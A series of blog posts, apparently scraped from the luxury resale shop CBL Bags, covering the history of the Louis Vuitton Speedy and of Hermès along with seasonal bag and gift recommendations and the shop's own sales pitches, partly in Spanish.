On the contrary to what might seem, this model was introduced in the year 1930. In fact, the Speedy actually arose from the need to adapt the classic travel model Keepall to a size that could be used daily. Therefore, the Speedy was the first handbag “per se” designed by Louis Vuitton. Before that they have been building its reputation around the strength of its suitcases and larger travel bags.

The Keepall bag, predecessor of the Speedy

In the early days, this model was known as the Express, derived from the era of automobiles and new appliances from the United States. Shortly after its introduction, it was renamed to Speedy, given the desire to live the accelerated lifestyle of that time.

The original size was 30 cm, which made it easier to carry on a day-to-day basis without sacrificing its spaciousness. But in 1965, the actress Audrey Hepburn asked the Louis Vuitton house for an even smaller version, giving birth to the Speedy 25.

Audrey Hepburn taking the Speedy 25 in different occasions

Nowadays you can find the Louis Vuitton Speedy bag in its original size (30-cm), in the 25-cm model and also in its 35-cm or 40-cm one. A fact: there is even a Nano size, adapting the bag to the different needs of the modern women. This way, the Speedy can be used on any occasion.

The Speedy family in its different sizes

The materials used to make the Speedy has also evolved over the years. In its beginnings, it was made of smooth plain canvas, but along the years Vuitton began to produce it with monogram canvas. Today you can also find it in blue and white Damier canvas and Epi leather. Even the Neo Speedy model was recreated in 2005, using a monogram denim fabric stamp.

The incorporation of Marc Jacobs in 1997 as creative director of Louis Vuitton has given rise to multiple versions of the Speedy, fruit of collaborations and inspiration of artists such as Stephen Sprouse, Takashi Murakami, Richard Prince or Yayoi Kusama, among others.

Different artistic interventions in the Speedy: Stephen Sprouse, Richard Prince and Yayoi Kusama

With such a historic heritage that starts at the beginning of the 20th century, it is right to say that if you buy today a Speedy bag, you would be buying a piece of Louis Vuitton past.

So, what are you waiting for to come to CBL Bags and get your Louis Vuitton history piece?

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7 luxury accessories that every woman should have https://www.cblbags.com/en/7-luxury-accessories-that-every-woman-should-have/ https://www.cblbags.com/en/7-luxury-accessories-that-every-woman-should-have/#respond Tue, 15 Jan 2019 12:55:43 +0000 https://www.cblbags.com/?p=26845 Imagine an elegant and sophisticated woman walking around with her exclusive but old and worn Hermes bag, that does not even match with the rest of her outfit … What a bad image, right? This is when you notice that a purse is as important as any other accessory to complete your look. At CBL […]

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Imagine an elegant and sophisticated woman walking around with her exclusive but old and worn Hermes bag, that does not even match with the rest of her outfit … What a bad image, right?

This is when you notice that a purse is as important as any other accessory to complete your look.

At CBL Bags we are not only experts in the sale of used luxury handbags, but we also work with the most exclusive accessories of brands such as Louis Vuitton, Hermes and Chanel, among others.

Here we give you a selection of luxury brand accessories for all tastes:

. If you are the kind of lady that likes original and striking accessories, this Louis Vuitton keychain purse special edition designed by the artist Takashi Murakami is perfect for you.

Louis Vuitton pouch key

. From the same collection, you can find this mirror with cover that is ideal for the most flirtatious.

. Christian Dior has this authentic portfolio, inspired by the work of the French artist Niki de Saint Phalle and designed to be a declaration of love.

Dior Lady Dior Niki de Saint Phalle Ecru Love Wallet

      

. Even mobiles deserve to look good. This Louis Vuitton Globe Trunks & Bags accessory, made of gold brass with three colorful green, pink and fuchsia medals, will give you the stylish touch that you are looking for.

. It is clear that Louis Vuitton likes to play with the designs, customizing them from time to time and creating special editions such as the wonderful Sarah Groom wallet. What makes it special is its illustration of the emblematic groom of the house printed on the outside.

. Entering in a more classic terrain, we will find this beautiful and elegant Hermès Kelly wallet, inspired by the brand’s iconic bag.

. And of course, in our accessories section we could not forget about Chanel with this discreet and glamorous patent leather wallet, ideal for daily use.

Chanel burgundy patent leather front flap wallet.

What accessory did you like most from our selection? At CBL Bags, we sale luxury handbags and accessories, trying to finding the best models to complete your looks with the distinctive touch of the best brands.

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What colors of bags are suitable for winter? https://www.cblbags.com/en/what-colors-of-bags-are-suitable-for-winter/ https://www.cblbags.com/en/what-colors-of-bags-are-suitable-for-winter/#respond Tue, 08 Jan 2019 11:40:52 +0000 https://www.cblbags.com/?p=26727 Although it is true that in recent years winter fashion trends have led to a chromatic richness that we were not used to for this time of the year. But in CBL Bags we still believe that, when buying luxury second-hand bags, it is best to stick to the classic colors that never go out […]

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Although it is true that in recent years winter fashion trends have led to a chromatic richness that we were not used to for this time of the year. But in CBL Bags we still believe that, when buying luxury second-hand bags, it is best to stick to the classic colors that never go out of style.

Winter is a season in which we usually wear more muted and dark colors. And the same happens with accessories, such as handbags. It is undeniable that in this season the king of color is black in all its versions.

This black Timeless bag by Chanel is ideal for the winter season”

 

Another type of tones that usually work for the coldest days are the chocolate or camel, as well as the beige or elegant cognac.

“This Christian Dior shoulder bag combines perfectly with earth tones and is an original complement for the most bohemian.”

In case you want to add a touch of color, red or green are easy to combine with any other neutral tone. It will for sure give you a more casual look.

“This red elegant Kelly bag by Hermès will enhance and gladden with distinction the darkest days of winter.”

Finally, metallic, gold or silver bags have become essential in this recent years. They harmonize with any color you decide to wear, adding a touch of style and glamour to a simple pair of jeans and a basic top.

“The metallic version of Chanel’s Reissue will give a cold shine to your winter outfits”

In CBL Bags we are experts in selling luxury and second-hand bags. In our catalog, you will be able to find Chanel, Hermes and Louis Vuitton handbags and in the ideal colors to match your best winter outfits.

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The perfect bag for New Year’s Eve https://www.cblbags.com/en/the-perfect-bag-for-new-years-eve/ https://www.cblbags.com/en/the-perfect-bag-for-new-years-eve/#respond Thu, 03 Jan 2019 16:06:11 +0000 https://www.cblbags.com/?p=26595 New Year’s Eve parties are the ideal occasion to show off those special bags that aren’t in use on a daily basis. In CBL Bags we are experts to buy and sell luxury handbags and we often manage a great variety of bags that are perfect for these special nights. For this year, we recommend […]

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New Year’s Eve parties are the ideal occasion to show off those special bags that aren’t in use on a daily basis. In CBL Bags we are experts to buy and sell luxury handbags and we often manage a great variety of bags that are perfect for these special nights.

For this year, we recommend you a perfect combination between brightness, class, elegance and sophistication: The Sequin Reissue Chanel bag.

This Chanel bag is ideal for the last night of the year although the unmistakable style of Chanel will always be a guaranteed success.

It is a bag with a classic cut that, being covered with sequins, manages to give that different and festive touch that all lady looks for in this special night. Not to say that the combination of black and silver colors makes it easier to match with.

One of the main features of this model is that its elegancy is also practical. Its adjustable chain handles allow you to carry it on the shoulder or across the body, leaving your hands free and being able to raise a champagne toast comfortably.

Furthermore, its medium size and its spacious interior gives your room enough to carry all the necessary belongings for a fun party night!

Do not wait anymore and get this wonderful Chanel Sequin Reissue bag at CBL Bags to celebrate the end of the year with style!

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4 ideas to choose the perfect handbag gift for this Christmas https://www.cblbags.com/en/4-ideas-to-choose-the-perfect-handbag-gift-for-this-christmas/ https://www.cblbags.com/en/4-ideas-to-choose-the-perfect-handbag-gift-for-this-christmas/#respond Thu, 20 Dec 2018 12:45:40 +0000 https://www.cblbags.com/?p=26265 It’s impossible to go wrong with a beautiful handbag under the Christmas tree; that’s why at CBL Bags we’ve selected the best options to surprise these holidays with the best and luxurious bags . Chanel Timeless bag This iconic handbag is a classic that will always remain…and for all the good reasons. It doesn’t really […]

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It’s impossible to go wrong with a beautiful handbag under the Christmas tree; that’s why at CBL Bags we’ve selected the best options to surprise these holidays with the best and luxurious bags .

Chanel Timeless bag
This iconic handbag is a classic that will always remain…and for all the good reasons. It doesn’t really matter if its caviar or lambskin leather, or if it has a silver or gold chain; its diamond quilted pattern takes our breath away. Coco Chanel wanted a bag that would leave her hands free, so she decided to use double chains to create this luxury bag. So, make sure you hit this Christmas with a present that won’t go out of style…just like her.
Bolso Chanel Timeless Mediano
Louis Vuitton Rossmore PM bag
The Rossmore is the ideal bag for those who enjoy going a night out in the city. It doesn’t matter if you prefer a clutch or a shoulder bag for a hands-free mode, this small beauty from Louis Vuitton bags will fit everyone’s needs. Crafted of embossed patent leather and gold-tone hardware, this handbag allows to carry all the night-out essentials in an effortlessly chic way.

Louis Vuitton Jokes Heartbreak bag
The phrase “Less is more” doesn’t really apply here…however, the famous artist and photographer Richard Prince knew how to nail this Louis Vuitton bag for the Summer/Spring 2008 Collection. This tote bag combines perfectly the blue and purple tones over the classic Monogram canvas. Light and roomy, this LV handbag is the perfect Christmas gift for those who loves to carry all the essentials -and more- carelessly.

Hermès Birkin bag
If she has been a good girl this year, this bag will be just the right one for her. In different sizes, materials and colors; the Birkin Hermes bag has become a must for any fashionista. It is perfect for those who are looking for a bag to carry the essentials as well as for those that want a weekend bag, always depending on its size. Known as traditional -yet stylish- this handbag is an elegance and luxury icon. Buy this one and achieve a crushing victory!

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Hermès story https://www.cblbags.com/en/hermes-story/ https://www.cblbags.com/en/hermes-story/#respond Wed, 12 Dec 2018 15:48:10 +0000 https://www.cblbags.com/?p=26121 Luxury has a name and that it’s Hermès. A small brand tied to sophistication, craftsmanship and the equestrian world being, without doubt, one of the most famous in the world. Thierry Hermès stablished in 1837 a harness workshop in Paris; which designs were handmaid with the best materials and combined functionality, quality and elegance. In […]

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Luxury has a name and that it’s Hermès. A small brand tied to sophistication, craftsmanship and the equestrian world being, without doubt, one of the most famous in the world.

Thierry Hermès stablished in 1837 a harness workshop in Paris; which designs were handmaid with the best materials and combined functionality, quality and elegance. In 1880, Émile-Charles took over the management of his father and moved the shop to Faubourg St. Honoré Street, where still remains.

In 1837 Thierry Hermès opens a harness workshop in Paris
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In 1880 The shops moves to Faubourg St. Honoré Street.

Years later he’s grand-son, who was a progress enthusiast, took over the company and introduced what we now know today as the zipper. With the pass of the time, the luxury brand diversified itself and started selling haute couture and perfume. But it wasn’t until 1937 that they commercialized silk handkerchiefs for the first time.

In 1937 Hermès created their first carré called Jeu Omnibus.
It measures 90 cm and it’s crafted of 100% silk. Nowadays there are around 900 different designs.

Today, one of the most wanted designs is the Kelly bag. It’s original from the end of XIX century and gets its name from the actress who made it popular. Grace Kelly photographed and published on the front page of Life magazine carrying the bag “Sac a Depeches”, covering her pregnant belly while leaving Paris Hermes store.

Grace Kelly Hermès

In 1956 Grace Kelly was photographed and published on the front page of Life magazine with a Hermès bag. Since then, it’s called the Kelly bag.

If we have to mention a famous Hermès icon, for sure that it’s the Birkin bag. In 1984, the actress Jane Birkin was on a flight with Jean-Lois Dumas, the Hermès director and, after dropping all her bag belongings, she complained that she was not able to find any bag that she was satisfied with. Consequently, he invited her to France where they co-designed the legendary bag.

In 1984 Jean-Lois Dumas and Jane Birkin designed the legendary Birkin bag.

Generation after generation, the luxury brand has been able to keep its original values, being a timeless symbol of quality and elegance.

CBL Bags are experts in buy and sell luxury and second-hand bags. In our catalog, you will find Chanel bags, Hermes bags and Louis Vuitton bags. Are you thinking of selling your bag? Contact us!

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4 reasons to sell your purse to CBL Bags https://www.cblbags.com/en/4-reasons-to-sell-your-purse-to-cbl-bags/ https://www.cblbags.com/en/4-reasons-to-sell-your-purse-to-cbl-bags/#respond Fri, 07 Dec 2018 16:10:57 +0000 https://www.cblbags.com/?p=26042 If luxury handbags have something in favor, it is that they maintain their value in the second-hand market. At CBL Bags we are experts in buying designer and second-hand bags, and here are the main reasons why our customers decide to choose us: 1. Space Is your wardrobe about to explote? Then selling those bags […]

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If luxury handbags have something in favor, it is that they maintain their value in the second-hand market. At CBL Bags we are experts in buying designer and second-hand bags, and here are the main reasons why our customers decide to choose us:

1. Space
Is your wardrobe about to explote? Then selling those bags you don’t use anymore. Remember that what you are selling may be what another person is searching for. Besides, if you are a passionate collector, we are sure that your eyes are already on your next purchase.

2. Style
You received a beautiful present, tired to give it a chance but didn’t used it yet, not even once? Don’t worry! There is nothing wrong with the idea of selling it and buying something else that you would actually like. Give the bag a chance to have a new story…

3. Money
Either you need the money or you want to buy something else, selling a luxury bag is a perfect option to get money back while it maintains its value.

4. Sentimental Break up
It’s not a delightful reason but sometimes, after a rupture, selling all these kinds of things that make you remember allow us to close the circle and move on.

In conclusion, this are some of the reasons why people choose to sell a luxury bag. However, the important thing is that you make sure that the place where you sell it can be trusted: the price that they offer you is right and, most importantly, that they have other stunning bags to buy too!

In CBL Bags we are specialized in buying and selling bags of main luxury brands such as Hermès, Chanel and Louis Vuitton; and we are aware of all the prices in the second-hand market.
The company was born in 2015 with already over 30 years of experience in antique art and collection pieces. This is why we can ensure you that the process with us will always be fast, safe and reliable.

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Search of the perfect bag https://www.cblbags.com/en/search-perfect-bag/ https://www.cblbags.com/en/search-perfect-bag/#respond Mon, 12 Feb 2018 10:47:33 +0000 https://www.cblbags.com/?p=23260 El bolso es ese accesorio que si nos gusta y resulta cómodo, lo tendremos años y años. También es cierto que la moda nos seduce con nuevos diseños y éste es un accesorio que fácilmente sustituimos si encontramos otro que nos guste más, se adapte mejor a nuestro estilo de vida o, simplemente, que sea […]

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El bolso es ese accesorio que si nos gusta y resulta cómodo, lo tendremos años y años. También es cierto que la moda nos seduce con nuevos diseños y éste es un accesorio que fácilmente sustituimos si encontramos otro que nos guste más, se adapte mejor a nuestro estilo de vida o, simplemente, que sea tendencia. Y es cierto, hay diseños y marcas que se adaptan a cada tipo de mujer y hombre. Así que atentos porque que podemos darte la clave para que afines y busques entre los diseños de las marcas que te comentamos a continuación y encuentres el bolso que mejor se adapte a lo que buscas. Te presentamos los bolsos tendencia para esta temporada.

bolso lona piel louis vuitton speedy 30 mon monogram

Ligereza y capacidad

La lona de Louis Vuitton se plantea como la mejor opción. Pero ojo, los bolsos de esta marca con demasiado herraje, se vuelven muy pesados. Opta por modelos como el Speedy y el Neverfull. Ambos modelos en sus tamaños 30 ó 35 y MM o GM, son los reyes de la comodidad. Bolsos perfecto para todo el día y que permiten una gran capacidad, siendo ligeros y prácticos. ¡No podrás vivir sin ellos!

Para los esenciales 24/7

:las pochettes de Louis Vuitton son las favoritas. Tanto el modelo Eva, con cremallera, como la Favorite, con solapa y cierre magnético son los modelos clave para quien busque este tipo de bolso. Son perfectas ya que incorporan cadena corta de metal y bandolera larga de piel. Llévatelas de viaje y sácales partido tanto por el día, llevándolas cruzadas; como por la noche, como el complemento perfecto a modo de bolso de mano.

Todoterreno

si lo que buscas es un bolso con capacidad, cómodo, con doble asa y bandolera y en el que poder llevar tu portátil, agenda… el Bazar M de Balenciaga es nuestra opción. Ligero de piel y todo un icono, este bolso es para ti.

Manos libres: las mochilas son desde hace unos años una auténtica fiebre entre los urbanitas. La necesidad de ir cómodo hace que este accesorio esté más de moda que nunca. Gucci está siendo una de las marcas que más están revolucionando el panorama del backpack. Echa un vistazo a los modelos Marmont, Supreme o Mesh.

Lo más práctico: ni muy grande, ni muy pequeño. Hay una gama infinita que abarca los bolsos medianos y con posibilidad de llevarlos tanto al hombro como cruzados. Louis Vuitton es la marca que ofrece multitud de opciones si hablamos de estos bolsos versátiles. Desde CBL Bags recomendamos, por ejemplo, el Métis Pochette, el Pallas Chain, el vintage Monceau y el clásico Reporter PM. Son bolsos pensados para el día a día, cómodos y con infinitas opciones para combinar. El Pallas es un modelos que permite, además, seleccionar diferentes colores para su solapa de piel que contrasta con el clásico Monograma.

Encuentra el bolso que mejor se adapte a tu día a día y habrás acertado. Si estás indeciso, escoge aquellos que más combinen con tu ropa o que te permitan más opciones de lucirlos. Esoge la lona si crees que la piel para tu día a día es más delicada. Y opta por la piel si necesitas combiner tu bolso con una indumentaria más formal. Ya ves que las opciones son eternas.

¡Echa un vistazo a nuestro Catálogo de bolsos!

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